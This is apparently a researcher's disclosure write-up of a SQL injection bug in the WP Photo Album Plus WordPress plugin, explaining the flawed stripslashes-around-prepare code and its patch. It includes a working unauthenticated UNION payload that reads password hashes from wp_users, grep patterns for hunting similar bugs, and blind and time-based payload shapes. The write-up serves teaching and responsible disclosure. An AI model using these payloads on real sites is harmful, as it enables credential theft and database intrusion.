$wpdb->prepare() is WordPress's promise to handle parameter escaping for you. You pass values into placeholders, you get back a SQL string that's safe to execute. The whole point of the function is that you don't have to think about quoting. Hand it user input, get back something the database treats as data, not as code.
If you wrap the result in stripslashes(), that promise dies. The escape characters prepare() added are exactly the characters that turn an attacker's quote back into a literal quote. Strip them and you've put the raw payload inside the query.
That's the shape of CVE-2026-39511. WP Photo Album Plus is a WordPress photo gallery plugin with about 10,000 active installs. Two of its decryption helpers, wppa_decrypt_photo() and wppa_decrypt_album() in wppa-encrypt.php, called prepare() and immediately undid it. Any unauthenticated visitor with a request parameter named album or photo containing a dot could turn a SELECT into a UNION and read any column from any table. CVSS 9.3, scope changed (the bug crosses the trust boundary into wp_users), no auth. Patchstack triaged the report. The vendor patched in 9.1.08.002.
Here is the vulnerable function, verbatim from 9.1.08.001 at wppa-encrypt.php line 142:
function wppa_decrypt_album( $album ) {
global $wpdb;
// Assume single encrypted
$result = wppa_get_var( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE crypt = %s", $album ) );
if ( wppa_is_posint( $result ) ) {
return $result;
}
// Check for enum
if ( $album && strpos( $album, '.' ) !== false ) {
$albums = str_replace( '.', "','", $album );
$ids = wppa_get_col( stripslashes( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE crypt IN (%s)", $albums ) ) );
if ( is_array( $ids ) ) {
$result = implode( '.', $ids );
}
else {
$result = false;
}
return $result;
}
...
}The plugin uses dot-separated lists ("crypt1.crypt2.crypt3") to pack multiple album IDs into a single URL parameter. The first call to prepare(), in the "single encrypted" branch, is fine. One value, one %s, normal placeholder. The bug lives in the enum branch where the developer wanted an IN ('a','b','c') clause and built it by hand.
Three things happen, in order:
str_replace( '.', "','", $album )turnsa.b.cintoa','b','c. That's the inside of anINlist minus the wrapping quotes.$wpdb->prepare( "... IN (%s)", $albums )sees%sand treats$albumsas one string value to escape and quote. Each'inside the string becomes\'. The result looks like... IN ('a\',\'b\',\'c'). As a SQLINclause that's wrong (one value, not three) but the escaping is intact.stripslashes()walks the SQL string and removes every backslash. The escapes vanish. The string becomes... IN ('a','b','c'). Three values, exactly what the developer wanted.
The developer's logic is internally consistent. "Prepare quotes more aggressively than I want for this case, so I undo the quoting." What they did not see is that the same escaping is the only thing standing between the database and the user.
Now feed it a payload with a single quote in it.
GET /any-public-page/?album=x.y%27)%20UNION%20SELECT%20user_pass%20FROM%20wp_users--%20 HTTP/1.1
Host: target.comThe %27 decodes to ' and the -- is a SQL line comment with the trailing space MySQL needs to recognise it. Walk the same three steps with this input:
// Input
$album = "x.y') UNION SELECT user_pass FROM wp_users-- ";
// Step 1: str_replace
$albums = "x','y') UNION SELECT user_pass FROM wp_users-- ";
// Step 2: prepare (escapes single quotes, wraps the value in '...')
"SELECT id FROM wp_wppa_albums WHERE crypt IN ('x\\',\\'y\\') UNION SELECT user_pass FROM wp_users-- ')"
// Step 3: stripslashes (removes the backslashes prepare added)
"SELECT id FROM wp_wppa_albums WHERE crypt IN ('x','y') UNION SELECT user_pass FROM wp_users-- ')"The -- comments out the trailing '). The query union-selects from wp_users. wppa_get_col() returns an array of values, the function joins them with dots, the caller renders the result. Password hashes in the response.
UNION-based exfiltration is the cleanest demo. Once you have it, you can pivot to anything. Read the secret keys from wp_options. Read API tokens stored by other plugins. Read every plugin's secrets. The IN clause runs against wp_wppa_albums but the UNION can read from any table the database user has rights to, which on a default WordPress install is every table the site has.
There is a second bug in the same shape, in wppa_decrypt_photo() a few lines up:
if ( $photo && strpos( $photo, '.' ) !== false ) {
$photos = str_replace( '.', "','", $photo );
$ids = wppa_get_col( stripslashes( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE crypt IN (%s)", $ids ) ) );Look at the second line. It uses $ids, not $photos. That's an undefined variable. PHP coerces it to empty string, the prepared query becomes ... IN (''), returns nothing, no SQL injection through this path. The same vulnerable pattern with the variable name spelled correctly would be exploitable. The typo accidentally neutralised it. The album branch was the live exploit. The photo branch was the same bug in a quieter form, defused by a typo from the day it was written.
Both helpers are reachable from wp_head. wppa-non-admin.php registers wppa_add_metatags() against the wp_head action with priority 5, and that function reads wppa_get('photo') and wppa_get('album') from $_REQUEST on every public page load. Both go through the input dispatcher in wppa-input.php:
case 'acrypt':
return isset( $_REQUEST[$key] )
? wppa_decrypt_album( sanitize_text_field( wp_unslash( $_REQUEST[$key] ) ), ! is_admin() || $strict )
: '0';sanitize_text_field() strips control characters and trims whitespace. It does not escape SQL. Single quotes pass through. The raw user input lands in wppa_decrypt_album with the dots intact and the quotes intact, and the broken prepare-then-strip dance produces injectable SQL.
No nonce in that path. There is never a nonce on a wp_head metadata helper. The author assumed there was nothing worth gating because the helper only reads. The thing it called was the one with the SQL injection.
The fix in 9.1.08.002 stops trying to be clever:
if ( $album && strpos( $album, '.' ) !== false ) {
$cralbarr = explode( '.', $album );
$ids = [];
foreach( $cralbarr as $cra ) {
$a = wppa_get_var( $wpdb->prepare( "SELECT id FROM $wpdb->wppa_albums WHERE crypt = %s", $cra ) );
if ( $a ) {
$ids[] = $a;
}
}
...
}Split the input on dots. Run one prepared statement per element with crypt = %s. Collect the results. No string-built IN clause, no stripslashes. Each element goes through prepare() once and stays escaped through to the database. The N queries are slower than one but at the scale this function runs (a handful of IDs in a URL), the difference is invisible. The 9.1.08.002 changeset applied the same shape to both helpers.
The general lesson is small but durable. $wpdb->prepare() returns SQL that is ready to execute. Anything you do to that string after is a defeat. Searching, replacing, modifying or stripping characters, all of those potentially undo the safety. If you find yourself wanting to "clean up" the output of prepare(), you have wanted the wrong thing. Fix the input or fix the structure of the query. Do not edit the output of the escape.
This pattern shows up in WordPress plugins more than it should. There is always a developer who knows that prepare() is the right tool, uses it for the simple cases, then runs into the IN () clause and reaches for string concatenation. WordPress only added array support to %s placeholders in WP 6.2, so before that hand-built IN lists were the norm and the whole class of prepare-then-stripslashes bugs was common. Plugins written before 6.2 and never refactored still ship with this shape.
The other lens is broader. Any function that wraps a security primitive in another transformation deserves a slow read. stripslashes() around prepare(). html_entity_decode() around esc_html(). urldecode() around an allowlist check. base64_decode() of a value before validating it. The pattern is universal. A primitive does its job. Then later code, often by a different developer, treats the output of the primitive as something that still needs work and "fixes" it. Each "fix" is a hole.
Now the part that matters if you're starting out. How do you find these yourself?
The prepare-then-stripslashes shape from this CVE is real but not the most common WordPress plugin SQLi. It is one face of a wider surface. The patterns below are what I actually grep for when I open a plugin looking for SQL injection, ordered roughly by yield rather than by how often this CVE's specific anti-pattern appears.
# 1. Plain string concatenation into queries (the workhorse pattern)
grep -rnE '\$wpdb->(get_var|get_col|get_row|get_results|query)\(\s*"[^"]*\$' wp-content/plugins/target/
grep -rnE '\$wpdb->(get_var|get_col|get_row|get_results|query)\(\s*sprintf' wp-content/plugins/target/
# 2. prepare() called and discarded (raw query string used instead)
grep -rn 'prepare(' wp-content/plugins/target/ | grep -v '\$wpdb->\(query\|get_'
# 3. The CVE-2026-39511 shape (prepare wrapped in another function)
grep -rn 'stripslashes( $wpdb->prepare' wp-content/plugins/target/
grep -rn 'preg_replace.*\$wpdb->prepare' wp-content/plugins/target/
grep -rn 'str_replace.*\$wpdb->prepare' wp-content/plugins/target/
# 4. esc_sql() used instead of prepare() (easy to misuse)
grep -rn 'esc_sql' wp-content/plugins/target/
# 5. Identifiers (ORDER BY, GROUP BY, column names) from user input
grep -rnE 'ORDER BY \$|GROUP BY \$|FROM \$' wp-content/plugins/target/
grep -rnE '\$orderby|\$order_by|\$sortby|\$column' wp-content/plugins/target/
# 6. LIMIT and direction from user input
grep -rnE 'LIMIT \$' wp-content/plugins/target/
grep -rnE '(ASC|DESC).*\$|\$.*(ASC|DESC)' wp-content/plugins/target/
# 7. Hand-built IN clauses (pre-WP-6.2 workarounds, sometimes safe, sometimes not)
grep -rn 'IN (%s)' wp-content/plugins/target/
grep -rn 'implode.*\$wpdb' wp-content/plugins/target/
# 8. $wpdb->prefix with user input as part of a table name
grep -rnE '"\$wpdb->[a-z_]+\b\$' wp-content/plugins/target/
grep -rnE '\$wpdb->prefix\s*\.\s*\$' wp-content/plugins/target/Each pattern is a different smell. Quick guide to triaging hits:
Pattern 1 is the highest-yield grep across the plugin ecosystem. If the interpolated variable came from $_REQUEST and never touched prepare() or esc_sql(), the bug is real. The payload is whatever quote-break-comment matches the column type.
Pattern 2 catches a specific developer mistake: $wpdb->prepare(...) is called, the return value is ignored, and the original concatenated string runs against the database. Find the surrounding query-execution call. If the executed string is the raw query and not the prepared one, the prepare call is decorative.
Pattern 3 is rare but high-confidence when it hits. Pre-WP-6.2 plugins with custom IN-clause workarounds. The CVE-2026-39511 shape exactly.
Pattern 4 needs context. esc_sql() only escapes string content for use inside quotes. It does not quote, does not parameterise, does not handle integers or identifiers. If the escaped value is placed inside SQL quotes, OK-ish. If the value is interpolated bare into a numeric position or an identifier slot, the escape is a placebo.
Patterns 5 and 6 are about what prepare() cannot do. There is no placeholder for table names, column names, ORDER BY columns or sort direction. Devs who try to parameterise an identifier through %s end up with the column name wrapped in single quotes, which breaks the query, so they fall back to string concatenation. The right defence is an allowlist (if ( ! in_array( $col, [ 'id', 'date', 'title' ], true ) ) $col = 'id';) before interpolation. If the allowlist is missing, the bug is real. This is one of the highest-yield grep targets in any plugin that exposes "sort by", "filter by" or pagination controls.
Pattern 7 finds both safe and unsafe IN workarounds. intval() mapping the array to integers is safe. implode( "','", array_map( 'esc_sql', $arr ) ) is borderline (escapes string content but assumes SQL quoting around the result). The CVE-2026-39511 stripslashes( prepare(...) ) shape is the unsafe one. WP 6.2 added the %...s count syntax ($wpdb->prepare( "... IN (%...s)", $arr )) and that is what current code should use. Anything else in a plugin written after 2023 is a code smell.
Pattern 8 matters most in multisite plugins. $wpdb->prefix itself is fixed but wp_{$blog_id}_options style identifiers sometimes get $blog_id from $_REQUEST without validation. prepare() cannot quote table names so the bug shows up as identifier injection.
Once you have hits from any of these greps, the same trace applies. Follow the variable backwards to its source. The bug is real if the value reached the query through $_REQUEST, $_GET, $_POST, $_COOKIE or any header, and was not parameterised by prepare() with the right placeholder type. The bug is not real if the variable is hard-coded, validated against an allowlist, cast to integer and used as a number or passed through prepare() with %d for integers and %s for quoted strings. sanitize_text_field() does not escape SQL. esc_attr() is for HTML attribute context. esc_url_raw() is for URLs. None of those neutralise SQL syntax.
For confirmation, your payload depends on the SQL context. Numeric placeholders without quoting take a 1 OR 1=1 style. String placeholders without escaping take a quote-break-comment chain like the one above. IN clauses built with the broken stripslashes dance take a x.y') UNION SELECT ...-- shape. WP Photo Album Plus was the third. Identifier injection (ORDER BY $col) takes a blind shape like (CASE WHEN (SELECT user_pass FROM wp_users LIMIT 1) LIKE 'a%' THEN id ELSE name END) because there is no string to quote out of. Time-based blind injection (SLEEP(5) in a payload, watch the response time) is the safe confirmation when the response itself does not show the data. UNION-based confirmation works when the function returns the array straight to the caller, as it does here.
For reporting, I chose Patchstack for this one. Patchstack and Wordfence both triage WordPress plugin vulnerabilities, coordinate with the vendor and assign CVEs. WP Photo Album Plus is in scope for both programs and has historical advisories from each. Picking one program over the other on a given report is a judgment call: response time, payout, prior vendor relationship, the rules each program runs that month. Read each program's current rules before you submit and pick on those grounds, not on the assumption that only one will accept the plugin.
Timeline for CVE-2026-39511. February 17, vulnerability discovered, reported to Patchstack the same day. April 13, CVE published and the patch shipped in 9.1.08.002. Eight weeks end to end, no direct vendor contact from my side.
The two CVE writeups before this were an IDOR and a stored XSS. This one rounds out the trio of WordPress-plugin bug classes you will hit most often if you spend time in this area: missing ownership checks, missing output escaping, missing input parameterisation. Three classes, dozens of variants, hundreds of plugins still shipping them. Pick a target, run the greps, read the handlers.
